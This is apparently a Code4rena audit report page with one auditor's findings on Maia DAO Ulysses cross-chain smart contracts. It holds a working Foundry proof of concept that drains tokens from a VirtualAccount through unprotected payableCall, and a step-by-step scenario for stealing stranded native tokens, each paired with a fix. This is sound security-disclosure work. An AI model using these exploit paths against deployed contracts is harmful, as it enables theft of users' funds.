Maia DAO - Ulysses - nobody2018's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85-L108

Vulnerability details

Impact

VirtualAccount.payableCall lacks access control and can be called by anyone. Malicious users can steal all tokens of all VirtualAccount contracts through this function.

Proof of Concept

The VirtualAccount contract is equivalent to the user's wallet on Root, and users can interact with it directly. User can send LocalToken or underlying token to Root on a certain Branch via BranchBridgeAgent.callOutSignedAndBridge/callOutSignedAndBridgeMultiple. When the cross-chain message is handled by RootBridgeAgent, RootPort will mint the GlobalToken corresponding to the LocalToken for the user's VirtualAccount on Root. Therefore, VirtualAccount is a contract where users store assets. Each user will be bound to a VirtualAccount contract. However, due to the lack of access control in payableCall, malicious users can use this function to steal any token held by VirtualAccount.

Copy the coded POC below to test/ulysses-omnichain/MulticallRootRouterTest.t.sol and run forge test --match-path test/ulysses-omnichain/MulticallRootRouterTest.t.sol --match-test testStealVirtualAccount -vvv to prove this issue.

First, import IVirtualAccount.sol.

File: test\ulysses-omnichain\MulticallRootRouterTest.t.sol
2: pragma solidity ^0.8.16;
3: 
4: import "./helpers/ImportHelper.sol";
5: import "@omni/interfaces/IVirtualAccount.sol";

function testStealVirtualAccount() public {
        // Add Local Token from Avax
        testSetLocalToken();

        Multicall2.Call[] memory calls = new Multicall2.Call[](1);

        // Prepare call to transfer 100 hAVAX form virtual account to Mock App (could be bribes)
        calls[0] = Multicall2.Call({
            target: newAvaxAssetGlobalAddress,
            callData: abi.encodeWithSelector(bytes4(0xa9059cbb), mockApp, 50 ether)
        });

        // RLP Encode Calldata
        bytes memory data = encodeCalls(abi.encode(calls));

        // Pack FuncId
        bytes memory packedData = abi.encodePacked(bytes1(0x01), data);

        // Call Deposit function
        encodeCallWithDeposit(
            payable(avaxMulticallBridgeAgentAddress),
            payable(multicallBridgeAgent),
            _encodeSigned(
                1,
                address(this),
                address(avaxNativeAssethToken),
                address(avaxNativeToken),
                100 ether,
                100 ether,
                packedData
            ),
            GasParams(0.5 ether, 0.5 ether),
            avaxChainId
        );

        uint256 balanceTokenMockAppAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(mockApp);
        uint256 balanceTokenPortAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(address(rootPort));
        uint256 balanceTokenVirtualAccountAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount);

        require(balanceTokenMockAppAfter == 50 ether, "Balance should be added");
        require(balanceTokenPortAfter == 0, "Balance should be cleared");
        require(balanceTokenVirtualAccountAfter == 50 ether, "Balance should be added");
    
        IVirtualAccount va = IVirtualAccount(userVirtualAccount);
        //attack start******************************************
        address attacker = address(0x1234567890);
        hevm.startPrank(attacker);

        PayableCall[] memory pcalls = new PayableCall[](1);
        pcalls[0] = PayableCall({
            target: newAvaxAssetGlobalAddress,
            callData: abi.encodeWithSelector(bytes4(0xa9059cbb), attacker, 50 ether),
            value: 0
        });
        va.payableCall{value : 0}(pcalls);

        hevm.stopPrank();

        balanceTokenVirtualAccountAfter = MockERC20(newAvaxAssetGlobalAddress).balanceOf(userVirtualAccount);
        uint256 balanceAttacker = MockERC20(newAvaxAssetGlobalAddress).balanceOf(attacker);
        require(balanceTokenVirtualAccountAfter == 0, "Balance should be stolen");
        require(balanceAttacker == 50 ether, "attacker's balance should be added");
    }

Tools Used

Manual Review

Recommended Mitigation Steps

File: src\VirtualAccount.sol
85:-    function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
85:+    function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData) {

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/ArbitrumBranchPort.sol#L134

Vulnerability details

Impact

ArbitrumBranchBridgeAgent inherits from BranchBridgeAgent. Users can bridge token to root via BranchBridgeAgent.callOutSignedAndBridge/callOutSignedAndBridgeMultiple. Before calling these two functions, the user first needs to approve underlying and localToken(hToken) to ArbitrumBranchPort. Because both ArbitrumBranchPort and RootPort are deployed in ARB, ArbitrumBranchPort overrides the _bridgeOut function which can transfer localToken directly to RootPort. The current implementation requires the user to approve different spenders: _underlyingAddress is approved to ArbitrumBranchPort, and _localAddress(hToken) is approved to RootPort. This is not correct, the user interacts with ArbitrumBranch, and both tokens should be only approved to ArbitrumBranchPort. Therefore, tx will be revert due to failure of ERC20.transferFrom.

Proof of Concept

callOutSignedAndBridge and callOutSignedAndBridgeMultiple have similar logic. Only callOutSignedAndBridge will be analyzed below. callOutSignedAndBridge internally calls _createDeposit to create deposit and send request. The flow of _createDeposit is as follows:

BranchBridgeAgent._createDeposit
  IPort(localPortAddress).bridgeOut	//localPortAddress=ArbitrumBranchPort
    ArbitrumBranchPort._bridgeOut	//ArbitrumBranchPort inherit from BranchPort and overrides _bridgeOut

Let's take a look at the code of _bridgeOut.

File: src\ArbitrumBranchPort.sol
119:     function _bridgeOut(
120:->       address _depositor,	//=msg.sender is caller(user)
121:         address _localAddress,
122:         address _underlyingAddress,
123:         uint256 _amount,
124:         uint256 _deposit
125:     ) internal override {
126:         //Store Underlying Tokens
127:         if (_deposit > 0) {
128:->           _underlyingAddress.safeTransferFrom(_depositor, address(this), _deposit);
129:         }
130: 
131:         //Burn hTokens if any are being used
132:         if (_amount - _deposit > 0) {
133:             unchecked {
134:->               IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(_depositor, _localAddress, _amount - _deposit);
135:             }
136:         }
137:     }

The user has approved the underlyingToken and localToken to ArbitrumBranchPort.

L120, _depositor is msg.sender(user) calling callOutSignedAndBridge.

L121, _localAddress is hToken, because the branch is on ARB, localAddress and globalAddress are the same.

L123, _amount is passed in by caller. Assuming _amount = 100e18.

L124, _deposit is passed in by caller. Assuming _deposit = 40e18.

L128, 40e18 _underlying is transferred from the user to this contract by ArbitrumBranchPort.

L134, IRootPort(rootPortAddress).bridgeToRootFromLocalBranch requires the user to approve localToken to RootPort in advance. So, tx will revert due to insufficient approval.

If user approves localToken to RootPort, this is equivalent to the user needing to know the existence of RootPort which should be transparent to users on the Branch. It is common practice for users to approve localToken to ArbitrumBranchPort.

Tools Used

Manual Review

Recommended Mitigation Steps

File: src\ArbitrumBranchPort.sol
119:     function _bridgeOut(
120:         address _depositor,
121:         address _localAddress,
122:         address _underlyingAddress,
123:         uint256 _amount,
124:         uint256 _deposit
125:     ) internal override {
126:         //Store Underlying Tokens
127:         if (_deposit > 0) {
128:             _underlyingAddress.safeTransferFrom(_depositor, address(this), _deposit);
129:         }
130: 
131:         //Burn hTokens if any are being used
132:         if (_amount - _deposit > 0) {
133:             unchecked {
+++		     _localAddress.safeTransferFrom(_depositor, address(this), _amount - _deposit);
+++                  ERC20(_localAddress).approve(rootPortAddress, _amount - _deposit);
134:                 IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(_depositor, _localAddress, _amount - _deposit);
135:             }
136:         }
137:     }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/BaseBranchRouter.sol#L175

Vulnerability details

Impact

In bot-report.md, [M-04] Return values of approve() not checked. It describles that "By not checking the return value, operations that should have marked as failed, may potentially go through without actually approving anything". But this report is different from [M-04].

If the token's approve does not return a value, like USDT, then ERC20(_token).approve will revert. Because ERC20 comes from solmate/tokens/ERC20.sol, its approve is defined as function approve(address spender, uint256 amount) public virtual returns (bool) where the return value is bool type with a size of 1 byte. The bytecode compiled by the solidity compiler from ERC20(_token).approve will check whether the return size is 1 byte. If not, revert will occur.

This will cause all functions calling _transferAndApproveToken to revert. This includes callOutAndBridge and callOutAndBridgeMultiple.

Proof of Concept

File: src\BaseBranchRouter.sol
160:     function _transferAndApproveToken(address _hToken, address _token, uint256 _amount, uint256 _deposit) internal {
......
173:         if (_deposit > 0) {
174:             _token.safeTransferFrom(msg.sender, address(this), _deposit);
175:->           ERC20(_token).approve(_localPortAddress, _deposit);
176:         }
177:     }

L175, the compiled code of ERC20(_token).approve(_localPortAddress, _deposit) is similar to the following:

(bool ret, bytes data) = _token.call(abi.encodeWithSignature("approve(address,uint256)", _localPortAddress, _deposit);
if (ret) {
     if (data.length != 1) // since usdt.approve has no return value, so data.length = 0
     {
            revert;
     }
     return abi.decode(data, (bool));
} else {
     revert;
}

Copy the coded POC below to one project from Foundry and run forge test -vvv to prove this issue.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "solmate/tokens/ERC20.sol";
import {SafeTransferLib} from "solmate/utils/SafeTransferLib.sol";

interface CheatCodes {
    function prank(address) external;
    function createSelectFork(string calldata,uint256) external returns(uint256);
}

interface IUSDT {
    function approve(address, uint256) external;
}

contract ContractTest is DSTest{

    address USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("https://rpc.ankr.com/eth", 18283438);
    }

    function test() public {
        address user = address(0x12399543949349);
        cheats.prank(user);
        ERC20(USDT).approve(address(0x1111111111), 1000e6);
    }

    function testOkByIUSDT() public {
        address user = address(0x12399543949349);
        cheats.prank(user);
        IUSDT(USDT).approve(address(0x1111111111), 1000e6);
    }

    function testOkBySafeApprove() public {
        address user = address(0x12399543949349);
        cheats.prank(user);
        SafeTransferLib.safeApprove(ERC20(USDT), address(0x1111111111), 1000e6);
    }
}

/**output
Running 3 tests for src/test/usdtApprove.sol:ContractTest
[FAIL. Reason: EvmError: Revert] test() (gas: 37109)
Traces:
  [37109] ContractTest::test()
    ├─ [0] VM::prank(0x0000000000000000000000000012399543949349)
    │   └─ ← ()
    ├─ [26953] 0xdAC17F958D2ee523a2206206994597C13D831ec7::approve(0x0000000000000000000000000000001111111111, 1000000000)
    │   ├─ emit Approval(owner: 0x0000000000000000000000000012399543949349, spender: 0x0000000000000000000000000000001111111111, value: 1000000000)  
    │   └─ ← ()
    └─ ← "EvmError: Revert"

[PASS] testOkByIUSDT() (gas: 37113)
[PASS] testOkBySafeApprove() (gas: 36988)
Test result: FAILED. 2 passed; 1 failed; finished in 489.70ms
**/

Tools Used

Manual Review

Recommended Mitigation Steps

Use safeApprove from solady/utils/SafeTransferLib.sol.

File: src\BaseBranchRouter.sol
160:     function _transferAndApproveToken(address _hToken, address _token, uint256 _amount, uint256 _deposit) internal {
......
173:         if (_deposit > 0) {
174:             _token.safeTransferFrom(msg.sender, address(this), _deposit);
175:-            ERC20(_token).approve(_localPortAddress, _deposit);
175:+            ERC20(_token).safeApprove(_localPortAddress, _deposit);
176:         }
177:     }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L423-L431

Vulnerability details

Impact

v2 adapterParams are used to send messages, which means that the relayer will send native token to RootBridgeAgent before RootBridgeAgent.lzReceive is called. However, if an exception occurs inside lzReceiveNonBlocking, lzReceive will not revert (except for ARB branch). In this way, the native token sent to RootBridgeAgent will stay in RootBridgeAgent. Malicious users can steal these native tokens by sending some messages.

Proof of Concept

The messages discussed below are all sent using V2 (Airdrop).

When the cross-chain message reaches RootBridgeAgent, the relayer from layerZero will first send the native token to RootBridgeAgent and then call RootBridgeAgent.lzReceive which internally calls lzReceiveNonBlocking to process various messages.

File: src\RootBridgeAgent.sol
423:     function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public {
424:         (bool success,) = address(this).excessivelySafeCall(
425:             gasleft(),
426:             150,
427:             abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcChainId, _srcAddress, _payload)
428:         );
429:         
430:->       if (!success) if (msg.sender == getBranchBridgeAgent[localChainId]) revert ExecutionFailure();
431:     }

From the above code we can see that if lzReceiveNonBlocking returns false, as long as the sender is not from getBranchBridgeAgent[localChainId](ARB branch), then tx will not revert. This means that the native token previously sent by the relayer is left in this contract (RootBridgeAgent).

In lzReceiveNonBlocking, the functions used to process messages are two _execute functions: 1, 2. The difference between the former and the latter is whether Fallback can be triggered if a failure to process the message occurs.

File: src\RootBridgeAgent.sol
749:     function _execute(uint256 _depositNonce, bytes memory _calldata, uint16 _srcChainId) private {
750:         //Update tx state as executed
751:         executionState[_srcChainId][_depositNonce] = STATUS_DONE;
752: 
753:         //Try to execute the remote request
754:         (bool success,) = bridgeAgentExecutorAddress.call{value: address(this).balance}(_calldata);
755: 
756:         // No fallback is requested revert allowing for retry.
757:->       if (!success) revert ExecutionFailure();
758:     }

If the message is processed by _execute in L749, when bridgeAgentExecutorAddress.call returns false, the value sent is still in the current contract.

File: src\RootBridgeAgent.sol
768:     function _execute(
769:         bool _hasFallbackToggled,
770:         uint32 _depositNonce,
771:         address _refundee,
772:         bytes memory _calldata,
773:         uint16 _srcChainId
774:     ) private {
775:         //Update tx state as executed
776:         executionState[_srcChainId][_depositNonce] = STATUS_DONE;
777: 
778:         //Try to execute the remote request
779:         (bool success,) = bridgeAgentExecutorAddress.call{value: address(this).balance}(_calldata);
780: 
781:         //Update tx state if execution failed
782:         if (!success) {
783:             //Read the fallback flag.
784:             if (_hasFallbackToggled) {
785:                 // Update tx state as retrieve only
786:                 executionState[_srcChainId][_depositNonce] = STATUS_RETRIEVE;
787:                 // Perform the fallback call
788:                 _performFallbackCall(payable(_refundee), _depositNonce, _srcChainId);
789:             } else {
790:                 // No fallback is requested revert allowing for retry.
791:                 revert ExecutionFailure();
792:             }
793:         }
794:     }

_hasFallbackToggled is set when the user sends a message. when bridgeAgentExecutorAddress.call returns false:

• If the user sets the fallback flag, _performFallbackCall will be called, where the native token previously sent by the relayer will be taken away. There is no problem.
• If the user doesn't set the fallback flag, the value sent is still in the current contract.

Consider the following scenario:

1. Alice wants to send the USDC of the ftm branch to the mainnet branch via BranchBridgeAgent.callOutSignedAndBridge. The _hasFallbackToggled argument is set to false, that is, fallback will be not triggered. This operation requires two cross-chain messages: ftm->arb and arb->mainnet. _gParams.remoteBranchExecutionGas is set to 1 ether.

2. When the message reaches RootBridgeAgent, relayer sends 1 ether native token to RootBridgeAgent, then calls RootBridgeAgent.lzReceive. The processing flow is as follows:

   RootBridgeAgent.lzReceive
     (bool success,) = lzReceiveNonBlocking
       _execute	//_hasFallbackToggled = false
         (bool success,) = bridgeAgentExecutorAddress.call
         //if success = false
         revert ExecutionFailure()
     //success is false due to revert internally, msg.sender is not from arb, so tx will not revert

   This resulted in 1 ether native token being left in the RootBridgeAgent.

3. Bob notices that RootBridgeAgent has ether and immediately calls via BranchBridgeAgent.callOutSignedAndBridge. The _hasFallbackToggled argument is set to true, that is, fallback will be triggered. The Call encoded in _params parameter intentionally triggers revert.

4. When the message reaches RootBridgeAgent, the processing flow is as follows:

   RootBridgeAgent.lzReceive
     (bool success,) = lzReceiveNonBlocking
       _execute	//_hasFallbackToggled = true
         (bool success,) = bridgeAgentExecutorAddress.call
         //success = false due to intentionally revert
         _performFallbackCall	//L788
           //all native token held by RootBridgeAgent is taken away by this function
           ILayerZeroEndpoint(lzEndpointAddress).send{value: address(this).balance}

5. Bob get all native token held by RootBridgeAgent because the excess gas will be returned to bob by relayer.

Tools Used

Manual Review

Recommended Mitigation Steps

In lzReceive, if success is false and msg.sender is not an ARB branch, then the balance held by this should be returned to the sender address of the source message.

Assessed type

Context

Endpoint.receivePayload
  ILayerZeroReceiver(_dstAddress).lzReceive			//_dstAddress = RootBridgeAgent
    (bool success,) = address(this).excessivelySafeCall 	//call this.lzReceiveNonBlocking by low-level call
       excessivelySafeCall
          //if something fails, revert.
          .........
    //so success=false since there is exception inside excessivelySafeCall
    //but msg.sender==Endpoint, so no revert happens.
    //airdrop is stuck in RootBridgeAgent.
    if (!success) if (msg.sender == getBranchBridgeAgent[localChainId]) revert ExecutionFailure();

164:     function validateTransactionProofV2(uint16 _srcChainId, address _dstAddress, uint _gasLimit, bytes32 _blockHash, bytes32 _data, bytes calldata _transactionProof, address payable _to) external payable onlyApproved nonReentrant {
165:->       (bool sent, ) = _to.call{value: msg.value}("");
166:         //require(sent, "Relayer: failed to send ether");
167:         if (!sent) {
168:             emit ValueTransferFailed(_to, msg.value);
169:         }
170:->       uln.validateTransactionProof(_srcChainId, _dstAddress, _gasLimit, _blockHash, _data, _transactionProof);
171:     }

File: contracts\UltraLightNodeV2.sol
076:     function validateTransactionProof(uint16 _srcChainId, address _dstAddress, uint _gasLimit, bytes32 _lookupHash, bytes32 _blockData, bytes calldata _transactionProof) external override {
......
111:         bytes memory pathData = abi.encodePacked(_packet.srcAddress, _packet.dstAddress);
112:         emit PacketReceived(_packet.srcChainId, _packet.srcAddress, _packet.dstAddress, _packet.nonce, keccak256(_packet.payload));
113: ->      endpoint.receivePayload(_srcChainId, pathData, _dstAddress, _packet.nonce, _gasLimit, _packet.payload);
114:     }

File: contracts\Endpoint.sol
100:     function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit, bytes calldata _payload) external override receiveNonReentrant {
......
118: ->      try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(_srcChainId, _srcAddress, _nonce, _payload) {
119:             // success, do nothing, end of the message delivery
120:         } catch (bytes memory reason) {
121:             // revert nonce if any uncaught errors/exceptions if the ua chooses the blocking mode
122:             storedPayload[_srcChainId][_srcAddress] = StoredPayload(uint64(_payload.length), _dstAddress, keccak256(_payload));
123:             emit PayloadStored(_srcChainId, _srcAddress, _dstAddress, _nonce, _payload, reason);
124:         }
125:     }

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L1090

Vulnerability details

Impact

The first byte of the message _payload[0] represents the type of message. If an exception occurs inside the message processing and the user wants to trigger Fallback, then the message type needs to be ORed with 0x80. For example, 0x05 represents the message type SignedWithDeposit and FallbackToggled is false. (0x80 | 0x05) = 0x85 represents the message type SignedWithDeposit, and FallbackToggled is true.

However, in RootBridgeAgent._createSettlementMultiple, there is an error in preparing data for call with settlement of multiple assets. The encoded message type is always 0x02 regardless of whether _hasFallbackToggled is true. This has the following impacts:

1. _hasFallbackToggled is true. After the encoded message reaches the target BranchBridgeAgent, if an exception occurs inside the message processing, the fallback will not be triggered as expected.
2. Since triggering fallback is equivalent to sending a cross-chain message, it requires a certain amount of gas. The protocol uses Airdrop to send messages. The relayer from Layerzero will send gas to the target BranchBridgeAgent before the message is processed. Failure to trigger fallback means that the gas will be left in the target BranchBridgeAgent.

Proof of Concept

When a user can send multiple tokens from the ftm branch to the mainnet branch via BranchBridgeAgent.callOutSignedAndBridgeMultiple, the _hasFallbackToggled argument is true. And the user provides all the gas required for the entire process. This process requires two cross-chain messages: the first message is ftm branch -> arb root, and the second message is arb root -> mainnet branch.

When the first message reaches RootBridgeAgent, the processing flow is as follows:

RootBridgeAgent.lzReceive
  (bool success,) = address(this).excessivelySafeCall
    lzReceiveNonBlocking
      //_payload[0]=0x86 means _hasFallbackToggled = true
      _execute
        bridgeAgentExecutorAddress.call
          RootBridgeAgentExecutor.executeSignedWithDepositMultiple
            _bridgeInMultiple
            //has additional calldata because sending htoken to mainnet
            IRouter(_router).executeSignedDepositMultiple	//MulticallRootRouter
              // FUNC ID: 3 (multicallMultipleOutput)
              _approveMultipleAndCallOut
->              IBridgeAgent(_bridgeAgentAddress).callOutAndBridgeMultiple  //_bridgeAgentAddress=RootBridgeAgent
=>                _createSettlementMultiple
                  _performCall	//send message to dest branch

From the above process, we can see that _createSettlementMultiple is called in RootBridgeAgent.callOutAndBridgeMultiple, and the value of _hasFallbackToggled is passed in by MulticallRootRouter._approveMultipleAndCallOut. Let's take a look at its code:

File: src\MulticallRootRouter.sol
544:     function _approveMultipleAndCallOut(
545:         address refundee,
546:         address recipient,
547:         address[] memory outputTokens,
548:         uint256[] memory amountsOut,
549:         uint256[] memory depositsOut,
550:         uint16 dstChainId,
551:         GasParams memory gasParams
552:     ) internal virtual {
......
565:         //Move output hTokens from Root to Branch and call 'clearTokens'.
566:         IBridgeAgent(_bridgeAgentAddress).callOutAndBridgeMultiple{value: msg.value}(
567:             payable(refundee),
568:             recipient,
569:             dstChainId,
570:             "",
571:             SettlementMultipleInput(outputTokens, amountsOut, depositsOut),
572:             gasParams,
573:->           true	//this param is _hasFallbackToggled
574:         );
575:     }

L573, _hasFallbackToggled is always set to true, indicating that if an exception occurs when the target branch handles the message, a fallback is expected to be triggered. However, the problem lies in the incorrect encoding of the message type inside _createSettlementMultiple, which makes the fallback impossible to be triggered.

File: src\RootBridgeAgent.sol
1045:     function _createSettlementMultiple(
......
1054:         bool _hasFallbackToggled
1055:     ) internal returns (bytes memory _payload) {
......
1087: 
1088:         // Prepare data for call with settlement of multiple assets
1089:         _payload = abi.encodePacked(
1090:->           _hasFallbackToggled ? bytes1(0x02) & 0x0F : bytes1(0x02),
1091:             _recipient,
1092:             uint8(hTokens.length),
1093:             _settlementNonce,
1094:             hTokens,
1095:             tokens,
1096:             _amounts,
1097:             _deposits,
1098:             _params
1099:         );
......
1114:     }

L1090, _hasFallbackToggled = true, so _payload[0] should be 0x82 instead of bytes1(0x02) & 0xF = 0x02.

When the second message reaches mainnet BranchBridgeAgent, the processing flow is as follows:

BranchBridgeAgent.lzReceive
  address(this).excessivelySafeCall  //using low-level call, so if there is revert inside, just return false.
    lzReceiveNonBlocking
      // DEPOSIT FLAG: 2 (Multiple Settlement)
      _execute  //_payload[0] == 0x02, so the _hasFallbackToggled argument in _execute is false
        (bool success,) = bridgeAgentExecutorAddress.call  //BranchBridgeAgentExecutor.executeWithSettlementMultiple

The message is finally processed in BranchBridgeAgentExecutor.executeWithSettlementMultiple. Let's look at the code of _execute:

File: src\BranchBridgeAgent.sol
730:     function _execute(bool _hasFallbackToggled, uint32 _settlementNonce, address _refundee, bytes memory _calldata)
731:         private
732:     {
733:         //Update tx state as executed
734:         executionState[_settlementNonce] = STATUS_DONE;
735: 
736:         //Try to execute the remote request
737:         (bool success,) = bridgeAgentExecutorAddress.call{value: address(this).balance}(_calldata);
738: 
739:         //Update tx state if execution failed
740:->       if (!success) {
741:             //Read the fallback flag and perform the fallback call if necessary. If not, allow for retrying deposit.
742:->           if (_hasFallbackToggled) {
743:                 // Update tx state as retrieve only
744:                 executionState[_settlementNonce] = STATUS_RETRIEVE;
745: 
746:                 // Perform fallback call
747:                 _performFallbackCall(payable(_refundee), _settlementNonce);
748:             } else {
749:                 // If no fallback is requested revert allowing for settlement retry.
750:->               revert ExecutionFailure();
751:             }
752:         }
753:     }

L737, success will be false if processing this message has an error.

L742, _hasFallbackToggled is false because the message type is 0x02, so the fallback call will not be performed.

L750, revert ExecutionFailure() will make address(this).excessivelySafeCall return false, so tx is executed successfully.

Through the above analysis, we can know that due to this wrong message encoding, the fallback is not triggered as expected. The gas required to trigger the fallback has been sent to BranchBridgeAgent, and these gases will remain in the contract, causing user gas losses.

Tools Used

Manual Review

Recommended Mitigation Steps

File: src\RootBridgeAgent.sol
1089:         _payload = abi.encodePacked(
1090:-            _hasFallbackToggled ? bytes1(0x02) & 0x0F : bytes1(0x02),
1090:+            _hasFallbackToggled ? bytes1(0x82) : bytes1(0x02),
1091:             _recipient,
1092:             uint8(hTokens.length),
1093:             _settlementNonce,
1094:             hTokens,
1095:             tokens,
1096:             _amounts,
1097:             _deposits,
1098:             _params
1099:         );

Assessed type

Context